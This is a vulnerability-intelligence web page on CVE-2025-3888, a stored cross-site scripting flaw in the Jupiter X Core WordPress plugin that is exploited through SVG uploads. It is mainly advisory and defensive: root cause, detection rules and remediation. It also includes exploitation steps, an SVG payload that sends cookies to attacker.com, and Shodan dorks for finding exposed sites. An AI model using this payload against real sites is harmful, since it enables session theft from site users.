☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-3888

CVE-2025-3888 Cross-Site Scripting in Jupiter x core
📅 PUBLISHED: 2025-05-17 11:17 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3888 is a Stored Cross-Site Scripting (XSS) vulnerability in the Jupiter X Core plugin for WordPress, affecting all versions up to and including 4.8.12. The vulnerability arises from insufficient input sanitization and output escaping when handling SVG file uploads. Authenticated attackers with Contributor-level access or higher can upload malicious SVG files containing arbitrary JavaScript. When other users (including administrators) view the page containing the SVG, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.

This vulnerability is specific to the WordPress ecosystem and the Jupiter X Core plugin. It does not affect Apache or Nginx directly.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository and commercial channels. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: Required (victim must view the page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the low complexity and potential for privilege escalation (e.g., stealing admin cookies) elevate the risk.

Deep Dive & Mechanics

The Jupiter X Core plugin allows authenticated users to upload SVG files for use in media library or page content. The plugin fails to properly sanitize SVG files, which can contain embedded JavaScript via <script> tags or event handlers like onload. When the SVG is rendered on a page, the browser executes the malicious script.

Root Cause: The plugin does not strip or escape dangerous content from SVG files before storing them. The wp_kses function or similar sanitization is either not applied or is insufficient for SVG MIME types.

Attack Flow:

  1. Attacker logs in with Contributor-level or higher privileges.
  2. Attacker uploads a crafted SVG file containing JavaScript (e.g., <script>alert('XSS')</script>).
  3. The SVG is stored on the server and embedded in a page (e.g., via a shortcode or media block).
  4. When a victim (including admins) visits the page, the SVG is rendered and the script executes.
  5. The script can steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example from Jupiter X Core <= 4.8.12):

// In a file handling SVG uploads
function jupiterx_core_handle_svg_upload($file) {
    // No sanitization of SVG content
    return $file;
}

Patched Code (expected fix):

function jupiterx_core_handle_svg_upload($file) {
    // Sanitize SVG content using a library like svg-sanitizer
    $sanitized = new \enshrined\svgSanitize\Sanitizer();
    $file['tmp_name'] = $sanitized->sanitize(file_get_contents($file['tmp_name']));
    return $file;
}

The patch should strip <script> tags, event handlers, and other executable content from SVG files.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Jupiter X Core <= 4.8.12
  • Contributor-level account credentials

Steps:

  1. Create a malicious SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script>alert('XSS')</script>
</svg>
  1. Log in to WordPress as a Contributor.
  2. Navigate to Media > Add New and upload the SVG file.
  3. Insert the SVG into a page or post using the media library.
  4. Share the page link with the victim.

Advanced Payload (cookie theft):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
</svg>

Blue Team

Detection:

  • Monitor for SVG file uploads by non-admin users.
  • Inspect SVG files for <script> tags or event handlers.
  • Use WAF rules to block SVG uploads containing JavaScript.

Prevention:

  • Restrict SVG uploads to administrators only.
  • Use a plugin like "Safe SVG" that sanitizes SVG files.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File Hashes (example):
    • e99a18c428cb38d5f260853678922e03 (MD5 of a malicious SVG)
  • Network Traffic:
    • Outbound requests to attacker-controlled domains from WordPress admin pages.
  • Log Entries:
    • WordPress audit logs showing SVG uploads by Contributor-level users.
    • Browser console errors related to CSP violations.
  • File Artifacts:
    • SVG files in /wp-content/uploads/ containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2025_3888_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-3888"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3888"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $onload = "onload=" nocase
        $onerror = "onerror=" nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $onload or $onerror)
}

Sigma Rule

title: CVE-2025-3888 - Stored XSS via SVG Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SVG file uploads containing script tags or event handlers
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\wp-admin\async-upload.php'
        TargetFilename|endswith: '.svg'
    filter:
        - TargetFilename|contains: 'safe-svg'  # Exclude if sanitized
    condition: selection and not filter
falsepositives:
    - Legitimate SVG files with no executable content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3888 - SVG Upload with Script Tag"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/async-upload.php"; http_uri; content:"filename="; content:".svg"; fileext; content:"<script"; within:1000; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable SVG uploads for non-admin users via a plugin or custom code.
  2. Apply the official patch from Jupiter X Core when available.
  3. Use a Web Application Firewall (WAF) to block SVG files containing <script> tags.

Long-term Fix:

  • Update Jupiter X Core to version > 4.8.12 once patched.
  • Implement server-side SVG sanitization using libraries like svg-sanitizer.
  • Enforce Content Security Policy (CSP) headers to block inline scripts.

Workaround:

  • Add the following to wp-config.php to restrict SVG uploads:
define('ALLOW_UNFILTERED_UPLOADS', false);

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Jupiter X Core"
http.html:"jupiterx-core"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3888/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.